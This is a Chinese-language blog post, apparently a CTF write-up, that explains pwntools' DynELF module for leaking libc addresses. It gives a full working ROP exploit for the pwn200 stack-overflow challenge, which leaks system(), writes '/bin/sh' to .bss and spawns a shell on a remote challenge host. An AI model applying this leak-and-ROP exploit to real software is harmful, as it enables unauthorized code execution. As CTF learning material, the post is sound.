DynELF的简单利用

写在前面

今天本来在看ctfwiki上的ret2_dl_runtime_resolve,当时有点小懵,但是看到他用的例题时XCTF2015的pwn200我就尝试着百度了一下它的wp,然后发现了一种利用DynELF模块做题的方法,而且了解到,这两种都是做无法获得系统libc版本时的做题手段,于是本着有的吃总比吃不到好的原则,就研究了下,DynELF怎么做这道题的。

DynELF

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,看下利用模板

1
2
3
4
5
6
7
8
9
10
11
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

简单说一下

模块利用时主要通过write或puts函数来泄露地址信息的,需要注意write函数需要三个参数,puts函数只需要一个参数,而且puts函数无法指定字符串的长度,且遇到0x00截断。所以其leak函数写法有所不同。
其次,注意32位程序和64位程序的区别,64位linux下的函数需要通过rop链将参数传入寄存器,而不是依靠栈布局。
下面贴下一位大佬关于利用puts泄露地址信息的leak函数模板
puts输出完后无其他输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了
#以便与不是标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == 'n' and c == "": #接收到的上一个字符为回车符,而当前接收不到新字符,则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

当puts输出完后,还有输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
count = 0
data = ""
payload = xxx
p.send(payload)
print p.recvuntil("xxxn")) #一定要在puts前释放完输出
up = ""
while True:
c = p.recv(1)
count += 1
if up == 'n' and c == "x": #一定要找到泄漏信息的字符串特征
data = buf[:-1]
data += "x00"
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

攻防世界pwn200

检查保护机制,只开启了NX
跟大佬学的思路,开启了NX就不要想shellcod了,就要往system(‘/bin/sh’)上想了

1
2
3
4
5
6
[*] '/home/xiy/\xe4\xb8\x8b\xe8\xbd\xbd/pwn/pwn200'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

然后IDA看看
g16.png
g13 _1_.png
这边看到应该是有一个栈溢出的,然后,有read,write函数,但是没有system,搜索字符串也没有’/bin/sh’的,而且这道题没给libc库,所以很符合使用DynELF模块的特征,首先我还是先算一下它的偏移。
g17.png
好的,下面让脚本说话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#r = process('./pwn200')
r = remote('111.198.29.45',45585)
elf = ELF('./pwn200')
read = elf.plt['read']
write = elf.plt['write']
bss = elf.bss()
main = 0x80484be
pppt = 0x0804856c

def leak(address):
r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'a'*112 + p32(write) + p32(main) + p32(1) + p32(address) + p32(4)
r.send(payload)
data = r.recv(4)
return data
d = DynELF(leak,elf=ELF('./pwn200'))
systemAddress = d.lookup('system','libc')
payload = 'a'*112 + p32(read) + p32(pppt) + p32(0) + p32(bss) + p32(8) + p32(systemAddress) + p32(main) + p32(bss)
r.send(payload)
payload = "/bin/sh"
r.send(payload)


r.interactive()

这里解释下其思路是利用write函数泄露地址信息后返回main函数恢复栈,以便下次还能利用栈溢出。
然后通过三个pop操作将read的三个参数弹出,以执行system函数。
查找三个pop的方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
x:~/下载/pwn$ ROPgadget --binary pwn200 --only 'pop|pop|pop|ret'
Gadgets information
============================================================
0x08048453 : pop ebp ; ret
0x08048452 : pop ebx ; pop ebp ; ret
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836c : pop ebx ; ret
0x0804856d : pop edi ; pop ebp ; ret
0x080485cd : pop esi ; pop edi ; pop ebp ; ret
0x0804834b : ret
0x08048532 : ret 0xb8

Unique gadgets found: 9

emmmm想了想,ret2_dl_runtime_resolve对我们这种萌新有点不太友好,想弄懂他还是要对ELF有深刻的认知,所以先欠着,以后再学。关于本题和64位程序使用DynELF模块的方法大家可以参考下面链接。
https://www.anquanke.com/post/id/85129
https://blog.csdn.net/qq_33528164/article/details/79408415

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信